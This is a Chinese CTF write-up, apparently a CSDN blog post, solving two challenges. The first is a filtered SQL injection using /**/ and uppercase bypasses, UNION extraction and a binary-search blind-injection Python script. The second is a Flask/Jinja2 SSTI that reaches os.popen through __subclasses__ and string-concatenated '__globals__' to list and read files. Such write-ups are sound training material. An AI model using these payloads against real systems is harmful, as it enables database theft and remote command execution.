【无标题】

[WUSTCTF2020]颜值成绩查询

一个SQL注入,输入1

 用户名admin,成绩100

输入1',1''都报错,显示不存在该用户

 输入1 or 1=1#测试,发现报错,过滤了空格。

 用/**/绕过,

接着测试列数:1/**/order/**/by/**/3#时正确,但1/**/order/**/by/**/4#时报错,说明有3列

 构造:-1/**/union/**/select/**/1,2,3#

 发现报错,可能过滤了一点东西,大写绕过看看

-1/**/Union/**/Select/**/1,2,3#

 绕过成功。爆表名

-1/**/Union/**/Select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

 有两个表flag和score,爆flag表的字段,也就是列

-1/**/Union/**/Select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

 有flag列和value列,爆flag列的内容

-1/**/Union/**/Select/**/1,value,flag/**/from/**/flag#

 看了其他师傅的还可以用脚本注入

使用二分法脚本加快注入速度:

import requests
url = "url?stunum="

result = ""
i = 0

while( True ):
	i = i + 1 
	head=32
	tail=127

	while( head < tail ):
		mid = (head + tail) >> 1

		payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
		r = requests.get(url+payload)
		r.encoding = "utf-8"
		#print(url+payload)
		if "your score is: 100" in r.text :
			head = mid + 1
		else:
			#print(r.text)
			tail = mid
	
	last = result
	
	if head!=32:
		result += chr(head)
	else:
		break
	print(result)

 这个爆破数据库名

接着爆破表名,更改payloud:

payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)

爆破列名,更改payloud:

payload = "if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d,1,0)" % (i , mid)

 

爆破flag,更改payloud:

payload = "if(ascii(substr((select/**/group_concat(value)from(flag)),%d,1))>%d,1,0)" % (i , mid)

 

具体可看:

https://www.cnblogs.com/fishjumpriver/p/18168379

[CSCCTF 2019 Qual]FlaskLight

1

F12查看源代码可以发现GET传search

传入一个?search={{7*7}}

可以看到输出结果为49,进行了计算,有ssti模板注入漏洞

构造:?search={{[].__class__.__base__.__subclasses__()}}

可以得到所有继承object父类的子类,当然[]也可以换为()

 经过查询后,可以借助的类<class 'warnings.catch_warnings'>,没有内置os模块在第59位。<class 'site._Printer'> 内含os模块 在第71位,可以借助这些类来执行命令。

进行命令执行
        a. 目录读取
        {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
        PS:由于使用['__globals__']会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式['__glo'+'bals__']
        页面回显:bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var


        b. 读取目录flasklight
        {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
        页面回显:app.py coomme_geeeett_youur_flek


        c. cat文件 coomme_geeeett_youur_flek 得到flag
        {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}} 

  

 

  • 19
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值